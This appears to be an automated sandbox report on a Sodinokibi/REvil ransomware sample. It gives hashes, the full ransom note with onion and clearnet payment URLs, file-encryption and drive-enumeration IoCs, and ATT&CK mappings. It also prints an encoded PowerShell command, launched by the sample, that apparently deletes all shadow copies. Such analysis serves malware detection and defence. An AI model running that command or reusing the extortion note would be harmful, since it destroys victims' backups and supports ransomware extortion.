sodinokibi | efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a

General

Target

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
Size

164KB
MD5

927a9c929b70dc597e49e2ff25b55185
SHA1

5f271ac5728b6fdbd5f9b23869e5b6320da93c22
SHA256

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a
SHA512

e64180bc9958c13a628dfe57ddb2598a4450b9c64e1d1ebfcac4fd5f0c4efa2ef23f312895e4dbad5560f1c8c1010b2e3c7f7ba390bfe0e5d790bd1db0540530

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\208sy2e3-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 208sy2e3. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1964BDE4C8A2F52C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/1964BDE4C8A2F52C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 3X40FCYgvrfBStuxSZ/Bpf9IkMF8jBpSDdDpS2AB/TT++lFgVBZ0bl915TrXUhhi wm/EOuv8hlLsTUqMxYti9X2sc+lf3WuOBvaqhHJ0bAHxzkAPHJVKoqAPJ/bQHuMo TXUYVMnZoNuq1WtiM+HLERgtdaxplf3lzw8NXLoGSeuKdp5UVXrnvji5gxc/xTcY erbismrAvOQump9MbzzUgL2HIjEtZJ+4I+M9jqeVZy3OoMA7GmU3RrZbU72tcyVx 7ZbYtB3iNcfAKYH6qa+XQ35jYnX/+DfMTy+zwoQBueqUxBhi9Qyw4Xt6vZtdFUQz Aqs7AbwwVn6MnaigsokMCqc/Hau/sQA7SmBRBc0kZ5BVavfc18mj4qGLoXwZI0EL Ck9uz1QjNKACaSje5KztNohEd8fKb2dKcrQXRtIzt5HIdrLal/hK5la0l2mMxdaw vHaUpsuLUgexqHBnU3y/+lP1DzahrMlYbJVd41T/bL7ogpSSy3xYGcwp2UYdVTTI vzMzYzisloR5v2Y6CVbCit8JspaDUuc0AK68UTGHhg/MhruLBQru/7GouBIHGXOf Mn3ybZGRa1cwBtjpwdlBFwATvOZLFdWORGqr+No0EBtozXVpnwdKG/0XPFDSIVDA Ielq5ePxu9BQCl2DqZJRlLx63b8Yv0uC6moXexKygqrFfxGuuN7ZbQqHnAXNqQs4 0dvBnBwydynAZg9HAu9r/HYZopSwx+yXFzoyZGrA6vxKKQ4yN4R7IBLD7VNqJktq iRspB315YxUsnbdHMDlGj/90EQNdMaWfLaW366s27ZbsRVB9dOZ0aKmSkLRJoEsY ETjGBQK4xsHtrWkToxXe7O6fZFz2/4kofN9jvZT2/vAdF+VshT3D3FzT9SFPqP7i U4u9ORF8B93rirkfW31uKmRPt+ZUhfz81TYvIXFhx29/D1wV+5JUsM2wliKTRgxg xo35KTsKRDdRWYFiRJqSsL/+K49WZBpPpCCLKTeIIMcNKiiLkD7/RYFVuSTStU0l 6NP/5PnKWDTYnMsljE4qe9ji0MFyCCoScEAC21MqkcsAVE5KEgCzcpWYUTw7vmuk DKfa/rtD70K8VhEfM8wy+c0/avnRDP+tDTGaXCjUShEw81Zown/55bSGhN3cwLaY 05n/obO+gKw= Extension name: 208sy2e3 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1964BDE4C8A2F52C

http://decryptor.top/1964BDE4C8A2F52C

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\SkipBlock.tiff => \??\c:\users\admin\pictures\SkipBlock.tiff.208sy2e3	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\users\admin\pictures\SkipBlock.tiff	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File renamed	C:\Users\Admin\Pictures\ReadOpen.png => \??\c:\users\admin\pictures\ReadOpen.png.208sy2e3	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File renamed	C:\Users\Admin\Pictures\RepairEdit.tif => \??\c:\users\admin\pictures\RepairEdit.tif.208sy2e3	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

description	ioc	process
File opened (read-only)	\??\B:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\I:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\W:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\X:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\Z:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\D:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\A:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\F:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\P:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\S:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\U:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\Y:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\J:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\M:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\N:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\O:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\T:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\R:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\V:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\E:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\G:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\H:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\K:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\L:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened (read-only)	\??\Q:	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2571y.bmp"	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

Drops file in Program Files directory 19 IoCs

Processes:

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

description	ioc	process
File opened for modification	\??\c:\program files\ImportEnter.rle	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\UseFormat.png	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File created	\??\c:\program files\208sy2e3-readme.txt	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\LimitSearch.pptx	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\208sy2e3-readme.txt	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\FindAssert.png	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\ApproveInvoke.vssx	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\CheckpointRead.tmp	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\FindUnprotect.vdw	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\MergeSend.7z	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\RedoConnect.pcx	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\UnblockProtect.docx	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\208sy2e3-readme.txt	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File created	\??\c:\program files (x86)\208sy2e3-readme.txt	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\MountAssert.xlsm	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\OutFormat.docx	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\OutResolve.wav	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\208sy2e3-readme.txt	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
File opened for modification	\??\c:\program files\ApproveTest.wmf	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exepowershell.exe

pid process

1724 efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
320 powershell.exe

pid	process
1724	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
320	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	320	powershell.exe
Token: SeBackupPrivilege	1588	vssvc.exe
Token: SeRestorePrivilege	1588	vssvc.exe
Token: SeAuditPrivilege	1588	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe

description	pid	process	target process
PID 1724 wrote to memory of 320	1724	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe	powershell.exe
PID 1724 wrote to memory of 320	1724	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe	powershell.exe
PID 1724 wrote to memory of 320	1724	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe	powershell.exe
PID 1724 wrote to memory of 320	1724	efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe
"C:\Users\Admin\AppData\Local\Temp\efbc6216e46433d1fec2b0e4badb237c2fd111f41fcdc5433a17147bb680641a.exe"
1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:320

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:560

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1588

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/320-55-0x000007FEFC521000-0x000007FEFC523000-memory.dmp

Filesize
8KB

Download
memory/320-57-0x0000000002830000-0x0000000002832000-memory.dmp

Filesize
8KB

Download
memory/320-59-0x0000000002834000-0x0000000002837000-memory.dmp

Filesize
12KB

Download
memory/320-58-0x0000000002832000-0x0000000002834000-memory.dmp

Filesize
8KB

Download
memory/320-56-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp

Filesize
11.4MB

Download
memory/320-60-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/320-61-0x000000000283B000-0x000000000285A000-memory.dmp

Filesize
124KB

Download
memory/1724-54-0x0000000076C91000-0x0000000076C93000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads